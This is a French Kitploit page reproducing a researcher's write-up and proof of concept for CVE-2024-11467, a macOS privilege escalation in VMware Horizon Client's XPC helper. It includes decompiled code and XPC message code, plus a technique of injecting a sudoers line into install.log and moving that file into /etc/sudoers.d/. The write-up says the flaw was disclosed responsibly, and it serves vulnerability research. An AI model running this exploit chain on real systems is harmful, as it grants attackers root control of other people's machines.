Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-11467 — Client VMware Horizon pour macOS LPE dû à un défaut logique XPC. POC tardif pour un 0-day que j'ai divulgué de manière responsable à Omnissa. | Kitploit
Outils/GitHubGitHub/null-event/cve-2024-11467
Escalade de PrivilègesAnalyse des VulnérabilitésAnalyse de CodeExploitationRétro-ingénierieTests d'IntrusionExploitation de Binaires
GitHubnull-event/cve-2024-11467

CVE-2024-11467

Client VMware Horizon pour macOS LPE dû à un défaut logique XPC. POC tardif pour un 0-day que j'ai divulgué de manière responsable à Omnissa.

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-11467

Le système d'exploitation macOS utilise les services XPC pour la communication inter-processus de base entre divers processus, par exemple entre le daemon XPC Service et les outils d'assistance privilégiés des applications tierces. Le client VMware Horizon, lors de son installation, enregistre l'assistant privilégié com.vmware.horizon.CDSHelper sous le répertoire /Library/PrivilegedHelperTools/.

Il convient également de noter que le nom mach com.vmware.horizon.CDSHelper est utilisé par l'assistant privilégié pour écouter les connexions XPC entrantes, comme indiqué ci-dessus. Les outils de développement macOS par défaut ont ensuite été utilisés pour extraire les symboles du binaire de l'assistant afin de confirmer qu'il intégrait un comportement XPC :

root@kitploit:~
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc                                                                                       
                 U __xpc_error_connection_invalid
                 U __xpc_error_key_description
                 U __xpc_type_connection
                 U __xpc_type_dictionary
                 U __xpc_type_error
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_get_pid
                 U _xpc_connection_resume
                 U _xpc_connection_send_message
                 U _xpc_connection_set_event_handler
                 U _xpc_dictionary_create_reply
                 U _xpc_dictionary_get_remote_connection
                 U _xpc_dictionary_get_string
                 U _xpc_dictionary_set_int64
                 U _xpc_get_type
                 U _xpc_release

L'outil Hopper Disassembler a ensuite été utilisé pour charger l'assistant dans un décompilateur pour une rétro-ingénierie plus approfondie, comme illustré ci-dessous : open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper La fonction EntryPoint() a été localisée et examinée, confirmant qu'elle représentait le point d'entrée principal de CDSHelper.

La fonction sub_100005fa0 a ensuite été décompilée, confirmant ainsi que l'outil d'assistance privilégié du client VMware Horizon utilisait l'API des services XPC -- il s'agit de l'API de bas niveau en C fournie par Apple, par opposition à l'API de connexion XPC qui se trouve au niveau Objective-C/Swift :

root@kitploit:~
int sub_100005fa0(int arg0, int arg1) {
    sub_1000063d4("Starting service: %s\n");
    r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
    xpc_connection_set_event_handler(r0, &var_38);
    r0 = xpc_connection_resume(r20);
    dispatch_main();
    return r0;
}

Une fois le service mach créé (via xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)), les messages entre le client et le service XPC du client Horizon sont échangés via des objets dictionnaire XPC créés avec la méthode xpc_dictionary_create(). Des valeurs peuvent être ajoutées à ce dictionnaire à l'aide des méthodes fournies par Apple aux développeurs ; celles-ci commencent généralement par xpc_dictionary_set_. Le client peut envoyer ces objets dictionnaire XPC au service XPC via des méthodes comme xpc_connection_send_. Du côté du service XPC du client Horizon, un gestionnaire est enregistré pour traiter les objets dictionnaire XPC reçus du client. Cela se fait à l'aide de la méthode xpc_connection_set_event_handler(). Enfin, les valeurs de l'objet dictionnaire XPC reçu sont lues à l'aide de méthodes comme xpc_dictionary_get_*. Une fois que EntryPoint() de CDSHelper retourne, la fonction sub_100056d0 est appelée :

image

À ce stade, l'exécution passe à sub_1000056ec, qui gère l'essentiel du traitement des messages XPC entrants. L'intégralité de la fonction décompilée est fournie ci-dessous. Les parties vulnérables notables sont examinées immédiatement après.

root@kitploit:~
int sub_1000056ec(int arg0, int arg1) {
    r31 = r31 - 0x90;
    var_30 = r24;
    stack[-56] = r23;
    var_20 = r22;
    stack[-40] = r21;
    var_10 = r20;
    stack[-24] = r19;
    saved_fp = r29;
    stack[-8] = r30;
    r19 = arg1;
    var_38 = **___stack_chk_guard;
    sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
    r0 = xpc_dictionary_get_string(r19, "cdsjob");
    if (r0 == 0x0) goto loc_1000057bc;

loc_100005738:
    r20 = r0;
    r0 = sub_1000063d4("CDSHelper:  cdsJob is %s.\n");
    if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;

loc_100005760:
    if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;

loc_100005774:
    if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
            if (**___stack_chk_guard == var_38) {
                    r0 = sub_100005498(r19);
            }
            else {
                    __stack_chk_fail();
            }
    }
    else {
            r0 = sub_100005380(r19, 0x16);
            sub_100006434("NOT_REACHED %s:%d\n");
    }
    return r0;

loc_1000058c4:
    r0 = sub_1000068b8();
    if (r0 == 0x0) goto loc_100005980;

loc_1000058d4:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
    r20 = r0;
    if (r0 == 0x0) goto loc_1000059b0;

loc_1000058f0:
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
    r21 = r0;
    if (r0 == 0x0) goto loc_1000059f8;

loc_100005908:
    sub_1000069b8();
    sub_1000069b8();
    sub_100006998();
    if (0x0 == 0x0) goto loc_100005a60;

loc_100005948:
    sub_100006978();
    sub_1000067b8();
    r0 = "CDSHelper:  Failed to move the file : %s.\n";
    goto loc_100005a00;

loc_100005a00:
    sub_1000063d4(r0);
    goto loc_100005a04;

loc_100005a04:
    r22 = 0x16;
    strerror(0x16);
    sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
    goto loc_100005a24;

loc_100005a24:
    r0 = r19;
    r1 = r22;
    goto loc_100005a2c;

loc_100005a2c:
    r0 = sub_100005380(r0, r1);
    if (**___stack_chk_guard != var_38) {
            __stack_chk_fail();
    }
    return r0;

loc_100005a60:
    sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
    r22 = 0x0;
    goto loc_100005a24;

loc_1000059f8:
    r0 = "CDSHelper:  Invalid parameter of moving: destination dir.\n";
    goto loc_100005a00;

loc_1000059b0:
    sub_1000063d4("CDSHelper:  Invalid parameter of moving: source file.\n");
    r21 = 0x0;
    goto loc_100005a04;

loc_100005980:
    sub_1000063d4("CDSHelper:  Failed to get the invalid file manager.\n");
    r21 = 0x0;
    r20 = 0x0;
    goto loc_100005a04;

loc_100005818:
    r0 = xpc_dictionary_get_string(r19, "vmwareid");
    if (r0 == 0x0) goto loc_100005960;

loc_10000582c:
    r20 = r0;
    r0 = xpc_dictionary_get_string(r19, "path");
    if (r0 == 0x0) goto loc_10000596c;

loc_100005844:
    r21 = r0;
    if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;

loc_10000585c:
    r0 = xpc_dictionary_get_string(r19, "appDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005870:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "tempDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005888:
    sub_100006460();
    sub_1000063d4("CDSHelper:  The cds script %s is running...\n");
    r0 = sub_100005410(&var_60);
    r20 = r0;
    if (r0 == 0x0) {
            r0 = "CDSHelper: The cds script ran successfully!\n";
    }
    else {
            strerror(r20);
            r0 = "CDSHelper: The cds script failed to run : %s!\n";
    }
    goto loc_1000059e8;

loc_1000059e8:
    sub_1000063d4(r0);
    r0 = r19;
    r1 = r20;
    goto loc_100005a2c;

loc_1000059c4:
    r0 = "CDSHelper:  Invalid parameter.\n";
    goto loc_1000059cc;

loc_1000059cc:
    sub_1000063d4(r0);
    r20 = 0x16;
    goto loc_1000059d4;

loc_1000059d4:
    strerror(r20);
    r0 = "CDSHelper: The cds script failed to run : %s!\n";
    goto loc_1000059e8;

loc_100005998:
    sub_1000063d4("CDSHelper:  Invalid script codesigning for %s.\n");
    r20 = 0xd;
    goto loc_1000059d4;

loc_10000596c:
    sub_1000063d4("CDSHelper:  Invalid script path.\n");
    r20 = 0x2d;
    goto loc_1000059d4;

loc_100005960:
    r0 = "CDSHelper:  Invalid vmwareid.\n";
    goto loc_1000059cc;

loc_1000057bc:
    sub_1000063d4("CDSHelper:  Invalid cdsJob.\n");
    strerror(0x16);
    r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
    if (**___stack_chk_guard == var_38) {
            r0 = sub_100005380(r19, 0x16);
    }
    else {
            __stack_chk_fail();
    }
    return r0;
}

Comme mis en évidence ci-dessous, l'assistant privilégié obtient d'abord la valeur de cdsjob à l'aide de la méthode xpc_dictionary_get_string(). De là, trois chaînes possibles sont attendues par l'assistant privilégié :

  • cdsjob_runscript
  • cdsjob_movefile
  • cdsjob_installpackage
image

Si la comparaison de chaînes retourne une correspondance pour cdsjob_movefile, le CDSHelper reprend l'exécution à l'intérieur de loc_1000058c4, comme illustré ci-dessous. Deux chaînes supplémentaires sont vérifiées via la méthode xpc_dictionary_get_string() :

  • cds_movefile_srcfile
  • cds_movefile_dstdir
image

Après que ces deux chaînes supplémentaires sont obtenues par l'assistant privilégié, trois fonctions supplémentaires sont appelées à :

  • sub_1000069b8
  • sub_1000069b8
  • sub_100006998 Ces fonctions ont été explorées et présentées ci-dessous. Retournant une chaîne créée en copiant les données à partir d'un tableau C donné d'octets encodés en UTF8 (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string) :
root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Retournant une deuxième chaîne :

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Déplacement du fichier ou du répertoire au chemin spécifié par cds_movefile_srcfile vers un nouvel emplacement à cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath) :

root@kitploit:~
void sub_100006998() {
    [r0 moveItemAtPath:r2 toPath:r3 error:r4];
    return;
}

À ce stade, en l'absence d'erreurs du système de fichiers, le CDSHelper déplace avec succès le fichier, enregistre le message suivant et retourne l'exécution : CDSHelper: The cds moving ran successfully! Il convient de noter que, lors de cette opération, l'assistant privilégié n'effectue aucune vérification sur la connexion client entrante (par exemple via une vérification de signature utilisant la chaîne SecRequirement et l'identifiant du paquet de la connexion, l'identifiant d'équipe, la signature de certificat Apple, etc.). Ainsi, un acteur malveillant peut initier une connexion XPC valide et forcer l'assistant privilégié à déplacer des fichiers arbitraires avec des privilèges élevés. Cela introduit la possibilité d'une escalade de privilèges menant à une compromission totale du système d'exploitation, comme illustré ci-dessous. Les valeurs de dictionnaire XPC suivantes ont d'abord été définies et envoyées afin de prouver l'écrasement arbitraire de fichiers root :

root@kitploit:~
    xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
    xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
    xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");

Cependant, en raison du fait que CDSHelper initialise un objet gestionnaire de fichiers en utilisant defaultManager au lieu de fileManagerWithAuthorization dans la fonction décompilée sub_1000068b8, l'assistant privilégié respecte la propriété des fichiers lors du déplacement ; c'est-à-dire que les fichiers initialement possédés par des utilisateurs non-root ne deviennent pas possédés par root au cours du déplacement de ces fichiers. Ainsi, pour escalader les privilèges en déplaçant un fichier dans un répertoire tel que /etc/sudoers.d/, un adversaire doit localiser un fichier qui est déjà possédé par root, n'est pas inscriptible par tous, et dont le contenu peut être partiellement contrôlé avant de déplacer le fichier via la fonction CDSHelper. Comme illustré ci-dessous, il est possible de contrôler partiellement le contenu de /var/log/install.log via l'utilitaire en ligne de commande logger ; il s'agit d'un fichier qui correspond aux critères des conditions d'exploitation :

root@kitploit:~
» ls -la /var/log/install.log                                                                                                                                                  
-rw-r--r--@ 1 root  admin  420902 Oct 20 18:46 /var/log/install.log

Il est possible d'insérer une ligne valide de configuration sudo dans le fichier journal en utilisant logger, en spécifiant la priorité install.error et en ajoutant une nouvelle ligne à l'aide d'un retour chariot.

Les lignes pertinentes du POC d'exploitation (voir poc.c) pour déplacer le fichier journal susmentionné dans le répertoire /etc/sudoers.d/ sous le nom myfile sont présentées ci-dessous :

root@kitploit:~
xpc_object_t my_message;

my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");

Notez que, lors de la réception d'une commande exécutée via sudo, le système d'exploitation analysera le fichier journal, renverra vers stdout plusieurs erreurs concernant la syntaxe invalide des entrées du journal au cours du processus, et finalement continuera jusqu'à atteindre la seule ligne de syntaxe valide qui a été injectée.

Ainsi, l'exploit déplace avec succès le fichier journal injecté dans le répertoire /etc/sudoers.d/ et montre qu'il est possible de toucher un nouveau fichier situé à /tmp/vmwarebeware via sudo, prouvant ainsi une escalade de privilèges réussie sur le système d'exploitation macOS sous-jacent via l'outil d'assistance privilégié du client VMware Horizon.

Télécharger l’outil